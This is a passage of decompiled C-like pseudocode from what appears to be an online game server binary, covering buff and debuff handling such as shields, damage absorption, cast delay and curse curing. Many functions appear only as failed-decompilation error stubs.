(__stdcall **)(_DWORD, _DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * aeo->aeo_Index) + 12))( aeo, a2, handle); --funcallanalizer.fca_stackpoint; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); result = v8; } return result; } //----- (00405AE0) -------------------------------------------------------- #error "405AE0: undefined or illegal type '#615' (funcsize=49)" //----- (00405BA0) -------------------------------------------------------- #error "405BA0: undefined or illegal type '#615' (funcsize=49)" //----- (00405C80) -------------------------------------------------------- #error "405C80: undefined or illegal type '#615' (funcsize=16)" //----- (00405CE0) -------------------------------------------------------- #error "405CE0: undefined or illegal type '#615' (funcsize=117)" //----- (00405E70) -------------------------------------------------------- #error "405E70: undefined or illegal type '#615' (funcsize=64)" //----- (00405F60) -------------------------------------------------------- #error "405F60: undefined or illegal type '#615' (funcsize=110)" //----- (004060E0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this, AbnormalStateContainer::AbstateElementInObject *aso) { int v2; // eax@1 int v3; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_CASTINGTIMEPLUS); --funcallanalizer.fca_stackpoint; v3 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"); return v3; } //----- (004061A0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorShield *this, #593 *a2, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v4; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = aso->aeo_RestCount; if ( v4 > *damage ) { aso->aeo_RestCount = v4 - *damage; *damage = 0; } else { aso->aeo_RestCount = 0; *damage -= v4; aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"); } //----- (00406220) -------------------------------------------------------- #error "406220: undefined or illegal type '#593' (funcsize=52)" //----- (00406300) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = aso->aeo_RestCount; if ( v3 <= 0 ) { aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; } else { aso->aeo_RestCount = v3 - 1; *damage = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"); } //----- (00406380) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_TOTALDAMAGERATE); *damage = ((signed int)((unsigned __int64)(v3 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"); } //----- (00406450) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this, #593 *a2, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v4; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_TOTALDAMAGERATE); *damage = ((signed int)((unsigned __int64)(v4 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v4 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"); } //----- (00406520) -------------------------------------------------------- #error "406520: undefined or illegal type '#734' (funcsize=158)" //----- (00406740) -------------------------------------------------------- #error "406740: undefined or illegal type '#734' (funcsize=48)" //----- (00406810) -------------------------------------------------------- #error "4068A5: switch analysis failed (funcsize=579)" //----- (004073C0) -------------------------------------------------------- #error "4073C0: undefined or illegal type '#593' (funcsize=219)" //----- (00407680) -------------------------------------------------------- #error "407680: undefined or illegal type '#593' (funcsize=37)" //----- (00407730) -------------------------------------------------------- #error "407730: undefined or illegal type '#593' (funcsize=37)" //----- (004077E0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStatePartyEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx) { AbnormalStateContainer::AbnormalStatePartyEnchant *v2; // esi@1 AbnormalStateDictionary::AbState::AbStateStr *v3; // eax@1 int v4; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->aspe_SkillIndex[0]; v2->aspe_SklIdxMain = sklidx; if ( !v3 ) { LOBYTE(v4) = AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 0, sklidx->index->PartyState1) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 1, sklidx->index->PartyState2) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 2, sklidx->index->PartyState3) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 3, sklidx->index->PartyState4) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 4, sklidx->index->PartyState5); v4 = (unsigned __int8)v4; if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain", v4); v2->aspe_SkillIndex[0] = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"); } //----- (00407910) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx) { AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *v2; // esi@1 AbnormalStateDictionary::AbState::AbStateStr *v3; // ecx@1 int v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->asgame_SkillIndex; v2->asgame_SklIdxMain = sklidx; if ( !v3 ) { v4 = (unsigned __int8)AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState( v2, sklidx->index->PartyState1); if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain", v4); v2->asgame_SkillIndex = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"); } //----- (004079E0) -------------------------------------------------------- #error "4079E0: undefined or illegal type '#615' (funcsize=66)" //----- (00407AE0) -------------------------------------------------------- unsigned int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 unsigned int v2; // ecx@1 unsigned int v3; // esi@2 unsigned int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->aeo_Tick.terminate; if ( clockwatch.cw_CurrTick >= v2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); result = 0; } else { --funcallanalizer.fca_stackpoint; v3 = 1000 * (v2 - clockwatch.cw_CurrTick + 9) / 0xA; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); result = v3; } return result; } //----- (00407BB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_DotDamageAppend(void *this, int aso) { void *v2; // esi@1 int v3; // eax@1 int v4; // esi@3 int result; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(aso + 4)) + 36 * *(_BYTE *)(aso + 24) + 8); if ( v3 ) { switch ( *(_DWORD *)(v3 + 38) ) { case 6: v4 = *((_WORD *)v2 + 3469); break; case 0x3A: v4 = *((_WORD *)v2 + 3467); break; case 0x1F: v4 = *((_WORD *)v2 + 3468); break; case 7: v4 = *((_WORD *)v2 + 3466); break; case 0x25: v4 = *((_WORD *)v2 + 3470); break; default: goto LABEL_9; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"); result = v4; } else { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"); result = 0; } return result; } //----- (00407D20) -------------------------------------------------------- char __stdcall ShineObjectClass::ShinePlayer::sp_AbstateCheck(int sklidx, int a2) { signed int v2; // edi@1 char result; // al@3 int v4; // ebp@4 int v5; // esi@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AbstateCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 257) <= 1u && *(_DWORD *)(*(_DWORD *)sklidx + 58) == 2 ) { v4 = 0; v5 = sklidx + 116; do { if ( *(_DWORD *)v5 != 609 ) { ++v4; if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)a2 + 2680))( a2, *(_DWORD *)v5, *(_DWORD *)(v5 + 4)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); goto LABEL_11; } } ++v2; v5 += 12; } while ( v2 < 4 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); if ( v4 ) return 0; LABEL_11: result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); result = 1; } return result; } //----- (00407E60) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_smo_CanEnchant(int abstateidx, int strength) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_CanEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_CanEnchant"); return 0; } //----- (00407EB0) -------------------------------------------------------- #error "407EB0: undefined or illegal type '#615' (funcsize=118)" //----- (00408000) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_Act_AttackCount(AbnormalStateContainer::SubAbnormalStateActorHideDamage *this, AbnormalStateContainer::AbstateElementInObject *pInObject) { int v2; // eax@2 int v3; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_Act_DamegeIntercept"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_Act_DamegeIntercept"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pInObject ) { v2 = pInObject->aeo_RestCount; if ( v2 <= 0 || (v3 = v2 - 1, pInObject->aeo_RestCount = v3, v3 <= 0) ) pInObject->aeo_Tick.terminate = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_Act_DamegeIntercept"); } //----- (004080A0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, CardDeck::Card *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->c_card; return 1; } // 4080B6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004080D0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00408120) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x6Cu); return 1; } // 408135: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00408150) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *), unsigned __int16 *hnd, AbnormalStateContainer::AbstateElementInObject *key) { AbnormalStateContainer::AbstateElementInObject *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *); // [sp+8h] [bp-1Ch]@1 AbnormalStateContainer::AbstateElementInObject *v8; // [sp+Ch] [bp-18h]@1 AbnormalStateContainer::AbstateElementInObject *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004081C0) -------------------------------------------------------- void __thiscall ListTraveler::ListTraveler(ListTraveler *this, List *lst, AbnormalStateContainer::AbstateElementInObject *def) { this->lt_Default = def; this->lt_List = lst; this->lt_CurrElement = lst->l_MaxSize; this->lt_NextElement = lst->l_Array[lst->l_Finger.store].ls_Next; } //----- (004081F0) -------------------------------------------------------- #error "4081F0: undefined or illegal type '#593' (funcsize=29)" //----- (00408230) -------------------------------------------------------- #error "408230: undefined or illegal type '#593' (funcsize=29)" //----- (00408270) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00408390) -------------------------------------------------------- #error "408390: undefined or illegal type '#734' (funcsize=70)" //----- (00408460) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsPartyChant(AbnormalStateContainer::AbstateElementInObject *this) { unsigned __int16 v1; // ax@1 int v2; // ecx@2 int v3; // eax@5 char result; // al@6 v1 = LOWORD(this->aeo_Index); if ( v1 < unk_6BC814 && (v2 = *(_DWORD *)(unk_6BC818 + 12 * v1)) != 0 && *(_DWORD *)v2 ) { if ( v1 < unk_6BC814 && (v3 = *(_DWORD *)(unk_6BC818 + 12 * v1)) != 0 ) result = (*(int (__thiscall **)(_DWORD))(**(_DWORD **)v3 + 12))(*(_DWORD *)v3); else result = (*(int (__thiscall **)(_DWORD))(v0 + 12))(0); } else { result = 0; } return result; } //----- (004084C0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(AbnormalStateContainer::AbstateListInObject *this, ABSTATEINDEX stateindex) { List *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@2 AbnormalStateContainer::AbstateElementInObject *v4; // esi@3 AbnormalStateContainer::AbstateElementInObject key; // [sp+4h] [bp-78h]@3 int v6; // [sp+78h] [bp-4h]@3 v2 = &this->asl_List; if ( this->asl_List.l_Array[this->asl_List.l_Finger.store].ls_Next < this->asl_List.l_MaxSize ) { AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(&key, stateindex); v6 = 0; v4 = List::l_Search( v2, AbnormalStateContainer::AbstateElementInObject::aeo_CompName, (unsigned __int16 *)&stateindex, &key); v6 = -1; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&key); result = v4; } else { result = 0; } return result; } //----- (00408570) -------------------------------------------------------- #error "408570: undefined or illegal type '#615' (funcsize=48)" //----- (00408630) -------------------------------------------------------- #error "408630: undefined or illegal type '#593' (funcsize=264)" //----- (004089E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_CureCurse(void *this, int state, signed int grade) { void *v3; // esi@1 int v4; // edx@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // bp@3 int v7; // edx@4 int v8; // ecx@4 unsigned __int16 v9; // ax@4 bool v10; // cf@4 int v11; // edi@6 int v12; // esi@11 int v13; // ecx@15 int i; // [sp+10h] [bp-14h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_CureCurse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_CureCurse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1320))(v3); v5 = *(_WORD *)(*(_DWORD *)(v4 + 3248) + 12 * *(_WORD *)(v4 + 3254) + 4); for ( i = v4; ; v4 = i ) { v6 = *(_WORD *)(v4 + 3244); if ( v5 >= v6 ) break; v7 = *(_DWORD *)(v4 + 3248); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; if ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v11 + 4)) + 36 * *(_BYTE *)(v11 + 24) + 8) + 38) == state ) { if ( v9 < v6 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v12 = *(_DWORD *)(v7 + 12 * v8); else v12 = 0; if ( *(_BYTE *)(**((_DWORD **)&unk_6B848C + 3 * *(_DWORD *)(v12 + 4)) + 39) <= grade ) { if ( v9 < v6 && (v13 = v7 + 12 * v8, *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 32) = clockwatch.cw_CurrTick; else v20 = clockwatch.cw_CurrTick; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_CureCurse"); } //----- (00408B70) -------------------------------------------------------- #error "408B70: undefined or illegal type '#593' (funcsize=409)" //----- (00409130) -------------------------------------------------------- #error "409130: undefined or illegal type '#593' (funcsize=134)" //----- (00409330) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(AbnormalStateContainer::AbstateListInObject *this) { AbnormalStateContainer::AbstateListInObject *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // si@2 ListStruct *v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 int v9; // eax@8 int v10; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->asl_List.l_Array[v1->asl_List.l_Finger.store].ls_Next; while ( 1 ) { v3 = v1->asl_List.l_MaxSize; if ( v2 >= v3 ) break; v4 = v1->asl_List.l_Array; v5 = v2; v6 = v2 < v3; v2 = v4[v2].ls_Next; if ( v6 ) { v7 = (int)&v4[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( *((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v8 + 4)) && **((_DWORD **)&unk_6B848C + 3 * *(_DWORD *)(v8 + 4)) ) { v9 = *(_DWORD *)(**((_DWORD **)&unk_6B848C + 3 * *(_DWORD *)(v8 + 4)) + 34); if ( v9 < 609 ) { v10 = dword_6BC994[v9]; if ( v10 && *(_DWORD *)(*(_DWORD *)v10 + 240) == 1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); return 1; } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v9); } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); return 0; } //----- (004094C0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(AbnormalStateContainer::AbstateListInObject *this) { AbnormalStateContainer::AbstateListInObject *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // si@2 ListStruct *v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 int v9; // eax@8 int v10; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 